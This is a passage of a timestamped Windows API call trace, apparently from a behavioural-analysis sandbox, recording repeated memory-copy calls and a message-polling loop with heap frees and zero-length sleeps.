[0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.299] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.300] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.301] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.302] SafeArrayDestroyDescriptor (psa=0x14da520) returned 0x0 [0120.302] SafeArrayRedim (in: psa=0x14da4c0, psaboundNew=0x18e9e0 | out: psa=0x14da4c0) returned 0x0 [0120.302] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.302] GetTickCount () returned 0x1150c12 [0120.302] GetTickCount () returned 0x1150c12 [0120.302] GetTickCount () returned 0x1150c12 [0120.302] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.302] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.302] GetTickCount () returned 0x1150c12 [0120.303] IsWindowVisible (hWnd=0x30268) returned 0 [0120.303] Sleep (dwMilliseconds=0x0) [0120.305] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.305] GetTickCount () returned 0x1150c12 [0120.305] GetTickCount () returned 0x1150c12 [0120.305] GetTickCount () returned 0x1150c12 [0120.305] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.305] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.305] GetTickCount () returned 0x1150c12 [0120.306] IsWindowVisible (hWnd=0x30268) returned 0 [0120.306] Sleep (dwMilliseconds=0x0) [0120.306] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.307] GetTickCount () returned 0x1150c12 [0120.307] GetTickCount () returned 0x1150c12 [0120.307] GetTickCount () returned 0x1150c12 [0120.307] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.307] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.307] GetTickCount () returned 0x1150c12 [0120.307] IsWindowVisible (hWnd=0x30268) returned 0 [0120.307] Sleep (dwMilliseconds=0x0) [0120.308] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.308] GetTickCount () returned 0x1150c12 [0120.308] GetTickCount () returned 0x1150c12 [0120.308] GetTickCount () returned 0x1150c12 [0120.308] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.308] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.308] GetTickCount () returned 0x1150c12 [0120.309] IsWindowVisible (hWnd=0x30268) returned 0 [0120.309] Sleep (dwMilliseconds=0x0) [0120.309] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.309] GetTickCount () returned 0x1150c12 [0120.309] GetTickCount () returned 0x1150c12 [0120.309] GetTickCount () returned 0x1150c12 [0120.309] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.309] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.309] GetTickCount () returned 0x1150c12 [0120.310] IsWindowVisible (hWnd=0x30268) returned 0 [0120.310] Sleep (dwMilliseconds=0x0) [0120.310] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.310] GetTickCount () returned 0x1150c12 [0120.310] GetTickCount () returned 0x1150c12 [0120.310] GetTickCount () returned 0x1150c12 [0120.310] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.310] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.310] GetTickCount () returned 0x1150c12 [0120.311] IsWindowVisible (hWnd=0x30268) returned 0 [0120.311] Sleep (dwMilliseconds=0x0) [0120.311] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.311] GetTickCount () returned 0x1150c12 [0120.311] GetTickCount () returned 0x1150c12 [0120.311] GetTickCount () returned 0x1150c12 [0120.311] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.311] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.311] GetTickCount () returned 0x1150c12 [0120.311] IsWindowVisible (hWnd=0x30268) returned 0 [0120.312] Sleep (dwMilliseconds=0x0) [0120.312] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.312] GetTickCount () returned 0x1150c12 [0120.312] GetTickCount () returned 0x1150c12 [0120.312] GetTickCount () returned 0x1150c12 [0120.312] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.312] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.312] GetTickCount () returned 0x1150c12 [0120.312] IsWindowVisible (hWnd=0x30268) returned 0 [0120.312] Sleep (dwMilliseconds=0x0) [0120.313] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.313] GetTickCount () returned 0x1150c12 [0120.313] GetTickCount () returned 0x1150c12 [0120.313] GetTickCount () returned 0x1150c12 [0120.313] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.313] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.313] GetTickCount () returned 0x1150c12 [0120.313] IsWindowVisible (hWnd=0x30268) returned 0 [0120.313] Sleep (dwMilliseconds=0x0) [0120.313] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.314] GetTickCount () returned 0x1150c12 [0120.314] GetTickCount () returned 0x1150c12 [0120.314] GetTickCount () returned 0x1150c12 [0120.314] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.314] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.314] GetTickCount () returned 0x1150c12 [0120.314] IsWindowVisible (hWnd=0x30268) returned 0 [0120.314] Sleep (dwMilliseconds=0x0) [0120.314] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.314] GetTickCount () returned 0x1150c12 [0120.315] GetTickCount () returned 0x1150c12 [0120.315] GetTickCount () returned 0x1150c12 [0120.315] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.315] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.315] GetTickCount () returned 0x1150c12 [0120.315] IsWindowVisible (hWnd=0x30268) returned 0 [0120.315] Sleep (dwMilliseconds=0x0) [0120.316] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.316] GetTickCount () returned 0x1150c22 [0120.316] GetTickCount () returned 0x1150c22 [0120.316] GetTickCount () returned 0x1150c22 [0120.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.316] GetTickCount () returned 0x1150c22 [0120.316] IsWindowVisible (hWnd=0x30268) returned 0 [0120.316] Sleep (dwMilliseconds=0x0) [0120.318] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.318] GetTickCount () returned 0x1150c22 [0120.318] GetTickCount () returned 0x1150c22 [0120.318] GetTickCount () returned 0x1150c22 [0120.318] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.318] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.318] GetTickCount () returned 0x1150c22 [0120.319] IsWindowVisible (hWnd=0x30268) returned 0 [0120.319] Sleep (dwMilliseconds=0x0) [0120.319] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.319] GetTickCount () returned 0x1150c22 [0120.319] GetTickCount () returned 0x1150c22 [0120.319] GetTickCount () returned 0x1150c22 [0120.319] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.319] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.319] GetTickCount () returned 0x1150c22 [0120.319] IsWindowVisible (hWnd=0x30268) returned 0 [0120.319] Sleep (dwMilliseconds=0x0) [0120.320] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.320] GetTickCount () returned 0x1150c22 [0120.320] GetTickCount () returned 0x1150c22 [0120.320] GetTickCount () returned 0x1150c22 [0120.320] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.320] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.320] GetTickCount () returned 0x1150c22 [0120.321] IsWindowVisible (hWnd=0x30268) returned 0 [0120.321] Sleep (dwMilliseconds=0x0) [0120.322] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.322] GetTickCount () returned 0x1150c22 [0120.322] GetTickCount () returned 0x1150c22 [0120.322] GetTickCount () returned 0x1150c22 [0120.322] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.322] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.322] GetTickCount () returned 0x1150c22 [0120.323] IsWindowVisible (hWnd=0x30268) returned 0 [0120.323] Sleep (dwMilliseconds=0x0) [0120.327] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.327] GetTickCount () returned 0x1150c22 [0120.327] GetTickCount () returned 0x1150c22 [0120.327] GetTickCount () returned 0x1150c22 [0120.327] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.327] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.327] GetTickCount () returned 0x1150c22 [0120.328] IsWindowVisible (hWnd=0x30268) returned 0 [0120.328] Sleep (dwMilliseconds=0x0) [0120.329] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.329] GetTickCount () returned 0x1150c22 [0120.329] GetTickCount () returned 0x1150c22 [0120.329] GetTickCount () returned 0x1150c22 [0120.329] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.329] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.329] GetTickCount () returned 0x1150c22 [0120.329] IsWindowVisible (hWnd=0x30268) returned 0 [0120.329] Sleep (dwMilliseconds=0x0) [0120.330] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.330] GetTickCount () returned 0x1150c22 [0120.330] GetTickCount () returned 0x1150c22 [0120.330] GetTickCount () returned 0x1150c22 [0120.330] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.330] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.330] GetTickCount () returned 0x1150c22 [0120.330] IsWindowVisible (hWnd=0x30268) returned 0 [0120.330] Sleep (dwMilliseconds=0x0) [0120.332] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.332] GetTickCount () returned 0x1150c31 [0120.332] GetTickCount () returned 0x1150c31 [0120.332] GetTickCount () returned 0x1150c31 [0120.332] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.332] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.332] GetTickCount () returned 0x1150c31 [0120.332] IsWindowVisible (hWnd=0x30268) returned 0 [0120.332] Sleep (dwMilliseconds=0x0) [0120.334] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.334] GetTickCount () returned 0x1150c31 [0120.334] GetTickCount () returned 0x1150c31 [0120.334] GetTickCount () returned 0x1150c31 [0120.334] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.334] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.334] GetTickCount () returned 0x1150c31 [0120.334] IsWindowVisible (hWnd=0x30268) returned 0 [0120.334] Sleep (dwMilliseconds=0x0) [0120.338] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.338] GetTickCount () returned 0x1150c31 [0120.338] GetTickCount () returned 0x1150c31 [0120.338] GetTickCount () returned 0x1150c31 [0120.338] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.338] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.338] GetTickCount () returned 0x1150c31 [0120.339] IsWindowVisible (hWnd=0x30268) returned 0 [0120.339] Sleep (dwMilliseconds=0x0) [0120.347] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.347] GetTickCount () returned 0x1150c41 [0120.347] GetTickCount () returned 0x1150c41 [0120.347] GetTickCount () returned 0x1150c41 [0120.347] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.347] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.347] GetTickCount () returned 0x1150c41 [0120.348] IsWindowVisible (hWnd=0x30268) returned 0 [0120.348] Sleep (dwMilliseconds=0x0) [0120.355] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.355] GetTickCount () returned 0x1150c41 [0120.355] GetTickCount () returned 0x1150c41 [0120.355] GetTickCount () returned 0x1150c41 [0120.355] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.355] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.355] GetTickCount () returned 0x1150c41 [0120.355] IsWindowVisible (hWnd=0x30268) returned 0 [0120.355] Sleep (dwMilliseconds=0x0) [0120.355] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.355] GetTickCount () returned 0x1150c41 [0120.355] GetTickCount () returned 0x1150c41 [0120.355] GetTickCount () returned 0x1150c41 [0120.355] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.355] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.356] GetTickCount () returned 0x1150c41 [0120.356] IsWindowVisible (hWnd=0x30268) returned 0 [0120.356] Sleep (dwMilliseconds=0x0) [0120.356] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.356] GetTickCount () returned 0x1150c41 [0120.356] GetTickCount () returned 0x1150c41 [0120.356] GetTickCount () returned 0x1150c41 [0120.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.356] GetTickCount () returned 0x1150c41 [0120.356] IsWindowVisible (hWnd=0x30268) returned 0 [0120.356] Sleep (dwMilliseconds=0x0) [0120.356] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.356] GetTickCount () returned 0x1150c41 [0120.356] GetTickCount () returned 0x1150c41 [0120.356] GetTickCount () returned 0x1150c41 [0120.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.356] GetTickCount () returned 0x1150c41 [0120.357] IsWindowVisible (hWnd=0x30268) returned 0 [0120.357] Sleep (dwMilliseconds=0x0) [0120.357] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.357] GetTickCount () returned 0x1150c41 [0120.357] GetTickCount () returned 0x1150c41 [0120.357] GetTickCount () returned 0x1150c41 [0120.357] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, 